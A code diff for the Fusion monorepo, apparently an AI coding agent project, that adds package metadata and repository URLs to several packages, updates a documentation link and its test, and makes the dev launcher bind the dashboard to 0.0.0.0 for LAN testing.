"description": "Fusion desktop: Electron wrapper around the Fusion dashboard for macOS, Windows, and Linux.",
"homepage": "https://github.com/Runfusion/Fusion#readme",
"repository": {
"type": "git",
"url": "https://github.com/Runfusion/Fusion",
"directory": "packages/desktop"
},
"bugs": {
"url": "https://github.com/Runfusion/Fusion/issues"
},
"private": true,
"type": "module",
"main": "dist/main.js",

View File

@@ -203,7 +203,7 @@ describe("application menu", () => {
expect(docsItem).toBeDefined();
docsItem?.click?.({} as never, {} as never, {} as never);
expect(mocks.shell.openExternal).toHaveBeenCalledWith(
"https://github.com/eclipxe/fusion#readme",
"https://github.com/Runfusion/Fusion#readme",
);
});

View File

@@ -206,7 +206,7 @@ function buildHelpSubmenu(): MenuItemConstructorOptions {
{
label: "Fusion Documentation",
click: () => {
void shell.openExternal("https://github.com/eclipxe/fusion#readme");
void shell.openExternal("https://github.com/Runfusion/Fusion#readme");
},
},
],

View File

@@ -1,6 +1,16 @@
{
"name": "@fusion/engine",
"version": "0.1.0",
"description": "Fusion engine: executor, merger, scheduler, and automation runtime for the Fusion AI coding agent.",
"homepage": "https://github.com/Runfusion/Fusion#readme",
"repository": {
"type": "git",
"url": "https://github.com/Runfusion/Fusion",
"directory": "packages/engine"
},
"bugs": {
"url": "https://github.com/Runfusion/Fusion/issues"
},
"type": "module",
"exports": {
".": {

View File

@@ -1,6 +1,16 @@
{
"name": "@fusion/mobile",
"version": "0.1.0",
"description": "Fusion mobile: Capacitor wrapper around the Fusion dashboard for iOS and Android.",
"homepage": "https://github.com/Runfusion/Fusion#readme",
"repository": {
"type": "git",
"url": "https://github.com/Runfusion/Fusion",
"directory": "packages/mobile"
},
"bugs": {
"url": "https://github.com/Runfusion/Fusion/issues"
},
"private": true,
"type": "module",
"scripts": {

View File

@@ -1,6 +1,16 @@
{
"name": "@fusion/plugin-sdk",
"version": "0.1.0",
"description": "Fusion plugin SDK: types and helpers for authoring third-party plugins that extend the Fusion dashboard and engine.",
"homepage": "https://github.com/Runfusion/Fusion#readme",
"repository": {
"type": "git",
"url": "https://github.com/Runfusion/Fusion",
"directory": "packages/plugin-sdk"
},
"bugs": {
"url": "https://github.com/Runfusion/Fusion/issues"
},
"type": "module",
"exports": {
".": {

View File

@@ -1,6 +1,16 @@
{
"name": "@fusion/tui",
"version": "0.1.0",
"description": "Fusion TUI: terminal UI for interacting with the Fusion task store and AI coding agent.",
"homepage": "https://github.com/Runfusion/Fusion#readme",
"repository": {
"type": "git",
"url": "https://github.com/Runfusion/Fusion",
"directory": "packages/tui"
},
"bugs": {
"url": "https://github.com/Runfusion/Fusion/issues"
},
"type": "module",
"exports": {
".": {

View File

@@ -17,8 +17,18 @@ process.env.NODE_OPTIONS = `--max-old-space-size=${MEMORY_MB} ${process.env.NODE
const { spawn } = await import("child_process");
const args = process.argv.slice(2);
// In dev we bind the dashboard to 0.0.0.0 so the server is reachable from
// mobile devices and other machines on the LAN for testing. Production
// builds default to 127.0.0.1; this override only applies when starting
// the dashboard via `pnpm dev dashboard` and only if no --host was passed.
const needsDevHostInjection =
args[0] === "dashboard" && !args.includes("--host");
const forwardedArgs = needsDevHostInjection
? [...args, "--host", "0.0.0.0"]
: args;
// If no args, run default: build + CLI
if (args.length === 0) {
if (forwardedArgs.length === 0) {
const pnpm = spawn("pnpm", ["build"], { stdio: "inherit", shell: true });
pnpm.on("close", (code) => {
if (code !== 0) process.exit(code ?? 1);
@@ -27,6 +37,6 @@ if (args.length === 0) {
});
} else {
// Forward all arguments (e.g., "dashboard", "task list", etc.)
const cmd = spawn("pnpm", ["build", "&&", "pnpm", "exec", "tsx", "packages/cli/src/bin.ts", ...args], { stdio: "inherit", shell: true });
const cmd = spawn("pnpm", ["build", "&&", "pnpm", "exec", "tsx", "packages/cli/src/bin.ts", ...forwardedArgs], { stdio: "inherit", shell: true });
cmd.on("close", (c) => process.exit(c ?? 1));
}